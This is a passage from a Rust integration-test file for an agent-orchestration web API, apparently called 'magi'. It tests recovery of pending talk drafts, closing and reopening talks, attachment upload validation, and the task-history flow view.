9192 "attempt {attempt}: talk {id} left the operator's text queued \
9193 with no drainer - the reclaimed turn was dropped along with \
9194 the handler future (pending {:?}, {} turns)",
9195 fresh.pending,
9196 fresh.turns.len()
9197 );
9198 }
9199 }
9200
9201 #[tokio::test]
9202 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9203 let (_tmp, _repo, f) = talk_fixture().await;
9204 let id = f.post("/api/talks", None).await.json()["id"]
9205 .as_str()
9206 .expect("id")
9207 .to_owned();
9208 let store = f.talks();
9209 let mut recovered = store.get(&id).expect("opened talk");
9210 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9211 .expect("persist pending draft without a live turn");
9212
9213 let edited = f
9214 .post(
9215 &format!("/api/talks/{id}/pending/edit"),
9216 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9217 )
9218 .await;
9219 assert_eq!(edited.status, 200, "{}", edited.body);
9220 assert!(edited.json()["thinking"].as_bool().unwrap());
9221
9222 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9223 for _ in 0..SETTLE_STEPS {
9224 if detail["turns"].as_array().expect("turns").len() == 2 {
9225 break;
9226 }
9227 tokio::time::sleep(Duration::from_millis(10)).await;
9228 detail = f.get(&format!("/api/talks/{id}")).await.json();
9229 }
9230 let turns = detail["turns"].as_array().expect("turns");
9231 assert_eq!(
9232 turns.len(),
9233 2,
9234 "the recovered draft must run once: {detail}"
9235 );
9236 assert_eq!(turns[0]["body"], "corrected");
9237 assert_eq!(detail["pending"], "");
9238 }
9239
9240 #[tokio::test]
9241 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9242 let tmp = TempDir::new().expect("tempdir");
9243 let repo = tmp.path().join("repo");
9244 std::fs::create_dir_all(&repo).expect("repo dir");
9245 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9246 let f = Fixture::with_repo(repo).await;
9247 let id = f.post("/api/talks", None).await.json()["id"]
9248 .as_str()
9249 .expect("id")
9250 .to_owned();
9251 let store = f.talks();
9252 let mut recovered = store.get(&id).expect("opened talk");
9253 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9254 .expect("persist pending draft without a live turn");
9255
9256 let refused = f
9257 .post(
9258 &format!("/api/talks/{id}/say"),
9259 Some(r#"{"text":"new message"}"#),
9260 )
9261 .await;
9262 assert_eq!(refused.status, 409, "{}", refused.body);
9263 assert!(refused.body.contains("resume"), "{}", refused.body);
9264 let saved = store.get(&id).expect("draft remains after refusal");
9265 assert!(saved.turns.is_empty());
9266 assert_eq!(saved.pending, "saved before restart");
9267
9268 let say_path = format!("/api/talks/{id}/say");
9269 let (first, second) = tokio::join!(
9270 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9271 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9272 );
9273 assert_eq!(first.status, 409, "{}", first.body);
9274 assert_eq!(second.status, 409, "{}", second.body);
9275 let saved = store
9276 .get(&id)
9277 .expect("draft remains after concurrent refusals");
9278 assert!(saved.turns.is_empty());
9279 assert_eq!(saved.pending, "saved before restart");
9280
9281 let resumed = f
9282 .post(&format!("/api/talks/{id}/pending/resume"), None)
9283 .await;
9284 assert_eq!(resumed.status, 202, "{}", resumed.body);
9285 let duplicate = f
9286 .post(&format!("/api/talks/{id}/pending/resume"), None)
9287 .await;
9288 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9289
9290 for _ in 0..SETTLE_STEPS {
9291 if store.get(&id).expect("talk").turns.len() == 2 {
9292 break;
9293 }
9294 tokio::time::sleep(Duration::from_millis(10)).await;
9295 }
9296 let finished = store.get(&id).expect("finished talk");
9297 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9298 assert_eq!(finished.turns[0].body, "saved before restart");
9299 assert!(finished.pending.is_empty());
9300 }
9301
9302 #[tokio::test]
9303 async fn an_image_only_recovered_draft_resumes_without_text() {
9304 let (_tmp, _repo, f) = talk_fixture().await;
9305 let id = f.post("/api/talks", None).await.json()["id"]
9306 .as_str()
9307 .expect("id")
9308 .to_owned();
9309 let uploaded = f
9310 .post_bytes(
9311 &format!("/api/talks/{id}/attachments"),
9312 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9313 PNG_BYTES,
9314 )
9315 .await;
9316 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9317 let attachment = f
9318 .talks()
9319 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9320 .expect("attachment metadata")
9321 .expect("stored attachment");
9322 let store = f.talks();
9323 let mut recovered = store.get(&id).expect("opened talk");
9324 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9325
9326 let resumed = f
9327 .post(&format!("/api/talks/{id}/pending/resume"), None)
9328 .await;
9329 assert_eq!(resumed.status, 202, "{}", resumed.body);
9330 for _ in 0..SETTLE_STEPS {
9331 if store.get(&id).expect("talk").turns.len() == 2 {
9332 break;
9333 }
9334 tokio::time::sleep(Duration::from_millis(10)).await;
9335 }
9336 let finished = store.get(&id).expect("finished talk");
9337 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9338 assert!(finished.turns[0].body.is_empty());
9339 assert_eq!(finished.turns[0].attachments.len(), 1);
9340 assert!(finished.pending_attachments.is_empty());
9341 }
9342
9343 #[tokio::test]
9344 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9345 let (_tmp, _repo, f) = talk_fixture().await;
9346 let id = f.post("/api/talks", None).await.json()["id"]
9347 .as_str()
9348 .expect("id")
9349 .to_owned();
9350 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9351 assert_eq!(closed.status, 200, "{}", closed.body);
9352 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9353 .expect("serialize closed talk");
9354 for (path, body) in [
9355 (format!("/api/talks/{id}/pending/resume"), None),
9356 (
9357 format!("/api/talks/{id}/pending/clear"),
9358 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9359 ),
9360 (
9361 format!("/api/talks/{id}/pending/edit"),
9362 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9363 ),
9364 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9365 ] {
9366 let response = f.post(&path, body).await;
9367 assert_eq!(response.status, 409, "{}", response.body);
9368 }
9369 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9370 .expect("serialize closed talk");
9371 assert_eq!(
9372 after_clear, before_clear,
9373 "clear must not rewrite a closed talk"
9374 );
9375 }
9376
9377 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9380
9381 #[tokio::test]
9382 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9383 let tmp = TempDir::new().expect("tempdir");
9384 let repo = tmp.path().join("repo");
9385 std::fs::create_dir_all(&repo).expect("repo dir");
9386 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9387 let f = Fixture::with_repo(repo).await;
9388 let id_a = f.post("/api/talks", None).await.json()["id"]
9389 .as_str()
9390 .unwrap()
9391 .to_owned();
9392 let id_b = f.post("/api/talks", None).await.json()["id"]
9393 .as_str()
9394 .unwrap()
9395 .to_owned();
9396
9397 let a = f
9398 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9399 .await;
9400 assert_eq!(a.status, 202, "{}", a.body);
9401 assert_eq!(a.json()["thinking"], true);
9402 let b = f
9403 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9404 .await;
9405 assert_eq!(b.status, 202, "{}", b.body);
9406 assert_eq!(b.json()["thinking"], true);
9407
9408 let listed = f.get("/api/talks").await.json();
9409 for id in [&id_a, &id_b] {
9410 let view = listed
9411 .as_array()
9412 .unwrap()
9413 .iter()
9414 .find(|talk| talk["id"] == *id)
9415 .unwrap();
9416 assert_eq!(view["thinking"], true, "{listed}");
9417 }
9418 let repeated = f
9419 .post(
9420 &format!("/api/talks/{id_a}/say"),
9421 Some(r#"{"text":"again"}"#),
9422 )
9423 .await;
9424 assert_eq!(repeated.status, 202, "{}", repeated.body);
9425 assert_eq!(repeated.json()["pending"], "again");
9426 }
9427
9428 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9431
9432 #[tokio::test]
9433 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9434 let f = Fixture::start().await;
9435 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9436
9437 let res = f
9438 .post_bytes(
9439 &format!("/api/talks/{id}/attachments"),
9440 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9441 PNG_BYTES,
9442 )
9443 .await;
9444 assert_eq!(res.status, 201, "{}", res.body);
9445 let body = res.json();
9446 assert_eq!(body["name"], "shot.png");
9447 assert_eq!(body["mime"], "image/png");
9448 assert_eq!(body["bytes"], PNG_BYTES.len());
9449 let att_id = body["id"].as_str().expect("id").to_owned();
9450 assert_eq!(
9451 att_id.len(),
9452 32,
9453 "the id must never be a client-suppliable path: {att_id}"
9454 );
9455
9456 let got = f
9457 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9458 .await;
9459 assert_eq!(got.status, 200, "{}", got.body);
9460 assert_eq!(got.header("content-type"), Some("image/png"));
9461 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9462 assert_eq!(got.bytes, PNG_BYTES);
9463 }
9464
9465 #[tokio::test]
9466 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9467 let f = Fixture::start().await;
9468 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9469
9470 let svg = f
9473 .post_bytes(
9474 &format!("/api/talks/{id}/attachments"),
9475 &[("Content-Type", "image/svg+xml")],
9476 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9477 )
9478 .await;
9479 assert!(
9480 (400..500).contains(&svg.status),
9481 "svg must be refused: {} {}",
9482 svg.status,
9483 svg.body
9484 );
9485 assert!(svg.body.contains("SVG"), "{}", svg.body);
9486
9487 let text = f
9488 .post_bytes(
9489 &format!("/api/talks/{id}/attachments"),
9490 &[("Content-Type", "text/plain")],
9491 b"just some text",
9492 )
9493 .await;
9494 assert!(
9495 (400..500).contains(&text.status),
9496 "an unlisted type must be refused: {} {}",
9497 text.status,
9498 text.body
9499 );
9500
9501 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9504 let big = f
9505 .post_bytes(
9506 &format!("/api/talks/{id}/attachments"),
9507 &[("Content-Type", "image/png")],
9508 &oversized,
9509 )
9510 .await;
9511 assert_eq!(
9512 big.status,
9513 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9514 "{}",
9515 big.body
9516 );
9517 }
9518
9519 #[tokio::test]
9520 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9521 let f = Fixture::start().await;
9522 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9523
9524 let res = f
9527 .post_bytes(
9528 &format!("/api/talks/{id}/attachments"),
9529 &[("Content-Type", "image/png")],
9530 b"<html>not a picture</html>",
9531 )
9532 .await;
9533 assert!((400..500).contains(&res.status), "{}", res.body);
9534 }
9535
9536 #[tokio::test]
9537 async fn an_unknown_attachment_id_is_a_404() {
9538 let f = Fixture::start().await;
9539 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9540
9541 let res = f
9542 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9543 .await;
9544 assert_eq!(res.status, 404, "{}", res.body);
9545 }
9546
9547 #[tokio::test]
9548 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9549 let f = Fixture::start().await;
9550 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9551
9552 let uploaded = f
9553 .post_bytes(
9554 &format!("/api/talks/{id}/attachments"),
9555 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9556 PNG_BYTES,
9557 )
9558 .await;
9559 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9560 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9561
9562 let res = f
9563 .post(
9564 &format!("/api/talks/{id}/say"),
9565 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9566 )
9567 .await;
9568 assert_eq!(res.status, 202, "{}", res.body);
9569 let queued = res.json();
9570 let turns = queued["turns"].as_array().expect("turns array");
9571 assert_eq!(
9572 turns.len(),
9573 1,
9574 "an empty body with an attachment is still a turn: {queued}"
9575 );
9576 assert_eq!(turns[0]["who"], "operator");
9577 assert_eq!(turns[0]["body"], "");
9578 let atts = turns[0]["attachments"]
9579 .as_array()
9580 .expect("attachments array");
9581 assert_eq!(atts.len(), 1);
9582 assert_eq!(atts[0]["id"], att_id);
9583 assert_eq!(atts[0]["mime"], "image/png");
9584
9585 let on_disk = f.talks().get(&id).expect("get");
9588 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9589 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9590 }
9591
9592 #[tokio::test]
9593 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9594 let f = Fixture::start().await;
9595 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9596
9597 let res = f
9598 .post(
9599 &format!("/api/talks/{id}/say"),
9600 Some(&format!(
9601 r#"{{"text":"hi","attachments":["{}"]}}"#,
9602 "a".repeat(32)
9603 )),
9604 )
9605 .await;
9606 assert!((400..500).contains(&res.status), "{}", res.body);
9607 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9608
9609 let on_disk = f.talks().get(&id).expect("get");
9610 assert!(
9611 on_disk.turns.is_empty(),
9612 "a rejected attachment id must not partially record the turn: {:?}",
9613 on_disk.turns
9614 );
9615 }
9616
9617 #[tokio::test]
9618 async fn talk_close_makes_the_talk_refuse_further_turns() {
9619 let f = Fixture::start().await;
9620 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9621
9622 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9623 assert_eq!(closed.status, 200, "{}", closed.body);
9624 assert_eq!(closed.json()["status"], "closed");
9625
9626 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9628 assert_eq!(closed_again.status, 200);
9629 assert_eq!(closed_again.json()["status"], "closed");
9630
9631 let said = f
9632 .post(
9633 &format!("/api/talks/{id}/say"),
9634 Some(r#"{"text":"too late"}"#),
9635 )
9636 .await;
9637 assert_eq!(said.status, 409, "{}", said.body);
9638 }
9639
9640 #[tokio::test]
9641 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9642 let (_tmp, _repo, f) = talk_fixture().await;
9643 let id = f.post("/api/talks", None).await.json()["id"]
9644 .as_str()
9645 .expect("id")
9646 .to_owned();
9647 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9648 assert_eq!(closed.status, 200, "{}", closed.body);
9649
9650 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9651 assert_eq!(reopened.status, 200, "{}", reopened.body);
9652 assert_eq!(reopened.json()["status"], "open");
9653
9654 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9656 assert_eq!(reopened_again.status, 200);
9657 assert_eq!(reopened_again.json()["status"], "open");
9658
9659 let said = f
9660 .post(
9661 &format!("/api/talks/{id}/say"),
9662 Some(r#"{"text":"still there?"}"#),
9663 )
9664 .await;
9665 assert_eq!(
9666 said.status, 202,
9667 "a reopened talk accepts turns again: {}",
9668 said.body
9669 );
9670 }
9671
9672 #[tokio::test]
9673 async fn talk_reopen_on_an_unknown_id_is_404() {
9674 let f = Fixture::start().await;
9675 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9676 assert_eq!(res.status, 404, "{}", res.body);
9677 }
9678
9679 #[tokio::test]
9680 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9681 let f = Fixture::start().await;
9682 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9683
9684 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9685 assert_eq!(deleted.status, 204, "{}", deleted.body);
9686
9687 let after = f.get(&format!("/api/talks/{id}")).await;
9688 assert_eq!(after.status, 404, "{}", after.body);
9689
9690 let listed = f.get("/api/talks").await.json();
9691 assert!(
9692 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9693 "a deleted talk must not linger in the list: {listed}"
9694 );
9695 }
9696
9697 #[tokio::test]
9698 async fn talk_delete_on_an_unknown_id_is_404() {
9699 let f = Fixture::start().await;
9700 let res = f.delete("/api/talks/nonexistent-id").await;
9701 assert_eq!(res.status, 404, "{}", res.body);
9702 }
9703
9704 #[tokio::test]
9708 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9709 let f = Fixture::start().await;
9710 let (a, b, gone) = (
9711 "20260902-140501-aaaa",
9712 "20260902-140502-bbbb",
9713 "20260902-140503-cccc",
9714 );
9715 write_run(&f.runs(), a, RunStatus::Stalled);
9716 let mut review = RunState::new(
9717 PathBuf::from("/repo/magi"),
9718 "main".to_owned(),
9719 "0123456789abcdef".to_owned(),
9720 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9721 .to_owned(),
9722 Config::default(),
9723 );
9724 review.id = b.to_owned();
9725 review.status = RunStatus::Merged;
9726 write_state(&f.runs(), &review);
9727
9728 let mut task = Task::new(
9729 "retry".to_owned(),
9730 "Do the thing".to_owned(),
9731 PathBuf::from("/repo/magi"),
9732 Source::Human,
9733 );
9734 task.start(a.to_owned());
9735 task.stall("quota");
9736 task.start(a.to_owned());
9737 task.start(b.to_owned());
9738 task.start(gone.to_owned());
9739 f.queue().put(&mut task).expect("file the task");
9740
9741 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9742 assert_eq!(res.status, 200, "{}", res.body);
9743 let v = res.json();
9744 let h = v["history"].as_array().expect("history");
9745 assert_eq!(h.len(), 4, "{v}");
9746 assert_eq!(h[0]["kind"], "competition");
9747 assert_eq!(h[0]["status"], "stalled");
9748 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9749 assert_eq!(h[1]["kind"], "resume", "{v}");
9750 assert!(
9751 h[0]["outcome"]
9752 .as_str()
9753 .unwrap()
9754 .contains("unknown. Pass #2"),
9755 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9756 );
9757 assert!(
9758 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9759 "{v}"
9760 );
9761 assert!(
9762 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9763 "an unrecorded cause must not be narrated as an operator park: {v}"
9764 );
9765 assert_eq!(h[2]["kind"], "review");
9766 assert!(
9767 h[2]["description"]
9768 .as_str()
9769 .unwrap()
9770 .contains("magi/aaaa/A")
9771 );
9772 assert_eq!(h[2]["status"], "merged");
9773 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9774 assert_eq!(v["runs_unreadable"], 1);
9775 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9776 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9777 assert_eq!(nodes[4]["note"], "unreadable");
9778 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9779 assert_eq!(v["instruction"], "Do the thing");
9780 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9781
9782 let run = f.get(&format!("/api/runs/{a}")).await.json();
9784 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9785
9786 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9787 }
9788
9789 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9790 let mut s = RunState::new(
9791 PathBuf::from("/repo/magi"),
9792 "main".to_owned(),
9793 "0123456789abcdef".to_owned(),
9794 "Do it".to_owned(),
9795 Config::default(),
9796 );
9797 s.status = status;
9798 edit(&mut s);
9799 s
9800 }
9801
9802 fn flow_task(runs: &[&str]) -> Task {
9803 let mut t = Task::new(
9804 "t".to_owned(),
9805 "Do it".to_owned(),
9806 PathBuf::from("/repo/magi"),
9807 Source::Human,
9808 );
9809 for r in runs {
9810 t.start((*r).to_owned());
9811 }
9812 t
9813 }
9814
9815 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9816 let h = task_history(task, |id| {
9817 states
9818 .iter()
9819 .find(|(i, _)| *i == id)
9820 .and_then(|(_, s)| s.clone())
9821 });
9822 task_flow(task, &h, 5)
9823 }
9824
9825 #[test]
9826 fn flow_opens_with_the_chat_that_queued_the_task() {
9827 let mut t = flow_task(&[]);
9828 t.source = Source::Agent {
9829 run: "a b/c".to_owned(),
9830 node: crate::queue::CHAT_NODE.to_owned(),
9831 };
9832 let f = flow_for(&t, &[]);
9833 assert_eq!(f.nodes[0].key, "chat");
9834 assert_eq!(f.nodes[0].kind, "chat");
9835 assert_eq!(
9836 f.nodes[0].label,
9837 format!("Chat {}", crate::queue::short("a b/c"))
9838 );
9839 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9840 assert_eq!(f.nodes[1].key, "start");
9841 assert_eq!(
9842 f.edges[0],
9843 FlowEdge {
9844 from: "chat".to_owned(),
9845 to: "start".to_owned(),
9846 label: "queued from chat".to_owned(),
9847 attempt: AttemptCost::None,
9848 }
9849 );
9850 }
9851
9852 #[test]
9853 fn flow_has_no_chat_box_for_other_sources() {
9854 for source in [
9855 Source::Human,
9856 Source::Issue {
9857 number: 3,
9858 repo: "o/r".to_owned(),
9859 },
9860 Source::Agent {
9861 run: "20260904-014455-ab12".to_owned(),
9862 node: "implement".to_owned(),
9863 },
9864 ] {
9865 let mut t = flow_task(&[]);
9866 t.source = source;
9867 let f = flow_for(&t, &[]);
9868 assert_eq!(f.nodes[0].key, "start");
9869 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9870 assert!(f.edges.iter().all(|e| e.from != "chat"));
9871 }
9872 }
9873
9874 const FA: &str = "20260902-140501-aaaa";
9875 const FB: &str = "20260902-140502-bbbb";
9876
9877 #[test]
9878 fn flow_follows_blocked_retry_merged_to_done() {
9879 let mut t = flow_task(&[FA, FB]);
9880 t.status = TaskStatus::Done;
9881 let f = flow_for(
9882 &t,
9883 &[
9884 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9885 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9886 ],
9887 );
9888 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9889 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9890 assert_eq!(f.edges.len(), 3);
9891 assert_eq!(f.edges[0].label, "claimed");
9892 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9893 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9894 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9895 assert_eq!(
9896 f.nodes[2].href.as_deref(),
9897 Some("#/runs/20260902-140502-bbbb")
9898 );
9899 assert!(f.nodes[2].decided);
9900 }
9901
9902 #[test]
9903 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9904 let quota = || {
9905 flow_run(RunStatus::Stalled, |s| {
9906 s.quota.push(crate::run::QuotaLoss {
9907 seat: "judge-1".to_owned(),
9908 node: "judge".to_owned(),
9909 at: Timestamp::now(),
9910 reset: None,
9911 })
9912 })
9913 };
9914 let mut t = flow_task(&[FA, FA]);
9915 t.status = TaskStatus::Queued;
9916 let f = flow_for(&t, &[(FA, Some(quota()))]);
9917 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9918 assert_eq!(f.nodes[1].note, Some("interrupted"));
9919 assert_eq!(
9920 f.nodes[1].status, None,
9921 "no outcome copied onto an earlier pass"
9922 );
9923 assert_eq!(
9924 f.edges[1].attempt,
9925 AttemptCost::Unknown,
9926 "a resume does not prove the earlier pass was refunded"
9927 );
9928 assert!(f.edges[1].label.contains("resume the same run"));
9929 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9930 assert_eq!(
9931 f.edges[2].label,
9932 "stalled after a resume, refund unknown \u{2192} queued"
9933 );
9934 assert!(!f.nodes[2].decided, "a stall is not a decision");
9935 assert_eq!(f.nodes[2].note, Some("no verdict"));
9936 }
9937
9938 #[test]
9939 fn flow_single_pass_quota_stall_is_refunded() {
9940 let t = flow_task(&[FA]);
9941 let f = flow_for(
9942 &t,
9943 &[(
9944 FA,
9945 Some(flow_run(RunStatus::Stalled, |s| {
9946 s.quota.push(crate::run::QuotaLoss {
9947 seat: "judge-1".to_owned(),
9948 node: "judge".to_owned(),
9949 at: Timestamp::now(),
9950 reset: None,
9951 })
9952 })),
9953 )],
9954 );
9955 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9956 }
9957
9958 #[test]
9959 fn flow_parked_refunds_and_stall_without_quota_spends() {
9960 let mut t = flow_task(&[FA]);
9961 t.status = TaskStatus::Queued;
9962 let f = flow_for(
9963 &t,
9964 &[(
9965 FA,
9966 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9967 )],
9968 );
9969 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9970 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9971 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9972 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9973 assert!(!f.nodes[1].decided);
9974 }
9975
9976 #[test]
9977 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9978 let t = flow_task(&[FA, FB]);
9979 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9980 assert_eq!(f.nodes[1].note, Some("unreadable"));
9981 assert!(!f.nodes[1].readable);
9982 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9983 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9984 }
9985
9986 #[test]
9987 fn flow_names_the_branch_of_a_review_only_run() {
9988 let t = flow_task(&[FA]);
9989 let f = flow_for(
9990 &t,
9991 &[(
9992 FA,
9993 Some(flow_run(RunStatus::Merged, |s| {
9994 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9995 })),
9996 )],
9997 );
9998 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9999 assert_eq!(
10000 f.nodes[1].detail.as_deref(),
10001 Some("review-only run of branch magi/x/A")
10002 );
10003 }
10004
10005 #[test]
10006 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10007 let mut t = flow_task(&[FA]);
10008 t.status = TaskStatus::Held;
10009 let pr = crate::run::PrRecord {
10010 url: "https://example.test/pr/1".to_owned(),
10011 number: 1,
10012 state: "open".to_owned(),
10013 checks: "green".to_owned(),
10014 round: 0,
10015 rounds: 3,
10016 red_at_merge: Vec::new(),
10017 };
10018 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10019 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10020 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10021 t.status = TaskStatus::Done;
10022 let f = flow_for(&t, &[(FA, Some(blocked))]);
10023 assert_eq!(f.edges[1].label, "closed by hand: task is done");
10024 }
10025
10026 #[test]
10027 fn flow_with_no_runs_goes_from_queued_to_queued() {
10028 let t = flow_task(&[]);
10029 let f = flow_for(&t, &[]);
10030 assert_eq!(f.nodes.len(), 2);
10031 assert_eq!(f.edges.len(), 1);
10032 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10033 assert_eq!(f.edges[0].attempt, AttemptCost::None);
10034 }
10035
10036 #[test]
10039 fn a_parked_non_terminal_run_is_explained_as_parked() {
10040 let mut s = RunState::new(
10041 PathBuf::from("/repo/magi"),
10042 "main".to_owned(),
10043 "0123456789abcdef".to_owned(),
10044 "Do it".to_owned(),
10045 Config::default(),
10046 );
10047 s.status = RunStatus::Implementing;
10048 s.parked = true;
10049 let task = Task::new(
10050 "t".to_owned(),
10051 "Do it".to_owned(),
10052 PathBuf::from("/repo/magi"),
10053 Source::Human,
10054 );
10055 let v = task_run_view(
10056 "20260902-140501-aaaa",
10057 Some(&s),
10058 RunSlot {
10059 n: 1,
10060 resumed: false,
10061 resumed_later: None,
10062 prior: None,
10063 last: true,
10064 },
10065 &task,
10066 );
10067 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10068 }
10069
10070 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10071 let mut s = flow_run(RunStatus::Implementing, edit);
10072 s.parked = false;
10073 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10074 task_run_view(
10075 "20260902-140501-aaaa",
10076 Some(&s),
10077 RunSlot {
10078 n: 1,
10079 resumed: false,
10080 resumed_later: Some(2),
10081 prior: None,
10082 last: false,
10083 },
10084 &task,
10085 )
10086 }
10087
10088 #[test]
10089 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10090 let v = earlier_pass_view(|_| {});
10091 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10092 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10093 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10094 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10095 assert_eq!(v.exit, RunExit::Interrupted);
10096 assert_eq!(v.attempt, AttemptCost::Unknown);
10097 }
10098
10099 #[test]
10100 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10101 let v = earlier_pass_view(|s| {
10102 s.quota.push(crate::run::QuotaLoss {
